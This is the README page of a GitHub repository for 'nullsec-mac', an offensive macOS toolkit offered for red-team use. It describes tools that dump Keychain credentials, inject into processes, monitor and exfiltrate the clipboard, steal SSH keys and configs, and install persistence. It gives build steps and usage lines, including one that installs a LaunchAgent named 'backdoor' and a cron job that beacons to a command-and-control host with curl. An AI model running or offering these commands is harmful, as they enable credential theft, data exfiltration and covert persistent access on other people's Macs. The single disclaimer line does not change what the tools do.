Skip to content

🍎 macOS security tools in Go, Rust & C | Keychain dump, process injection, network scan, persistence | Fast native performance | @anonantics

Notifications You must be signed in to change notification settings

bad-antics/nullsec-mac

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

3 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🍎 NullSec Mac

Fast, native macOS security tools written in Go, Rust, and C

High-performance red team and penetration testing utilities for Apple systems

GitHub Discord

πŸš€ Tools

Go Tools (Fast, Cross-compilable)

Tool Description
keychain_dump.go Extract credentials from macOS Keychain
inject.go Process injection and memory manipulation
netscan.go Fast concurrent ARP/port scanner
clipboard.go Real-time clipboard monitoring & exfiltration

Rust Tools (Memory-safe, Blazing Fast)

Tool Description
nullsec-exfil File discovery and exfiltration (SSH keys, configs, credentials)

C Tools (Native Performance)

Tool Description
privesc_scan.c Privilege escalation vulnerability scanner
persist.c Persistence mechanism installer (LaunchAgents, cron, hooks)

πŸ”§ Building

Go

cd go
GOOS=darwin GOARCH=amd64 go build -o nullsec-keychain keychain_dump.go
GOOS=darwin GOARCH=arm64 go build -o nullsec-keychain-arm64 keychain_dump.go

Rust

cd rust
cargo build --release
# Binary at target/release/nullsec-exfil

C

cd c
clang -o nullsec-privesc privesc_scan.c -framework Security
clang -o nullsec-persist persist.c

πŸ“– Usage Examples

Keychain Dumper

./nullsec-keychain
# Lists all keychain items and credentials

Network Scanner

./nullsec-netscan -arp                    # ARP scan local network
./nullsec-netscan -target 192.168.1.1 -ports 22,80,443,8080

Persistence

./nullsec-persist -l                      # List current persistence
./nullsec-persist -a backdoor '/path/to/payload'  # Install LaunchAgent
./nullsec-persist -c '*/5 * * * *' 'curl http://c2/beacon'  # Cron job

Privilege Escalation Scan

./nullsec-privesc
# Scans for SUID binaries, writable paths, sudo misconfigs, etc.

⚠️ Disclaimer

These tools are for authorized security testing only. Unauthorized use is illegal.


NullSec Framework | GitHub | bad-antics | Discord

About

🍎 macOS security tools in Go, Rust & C | Keychain dump, process injection, network scan, persistence | Fast native performance | @anonantics

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published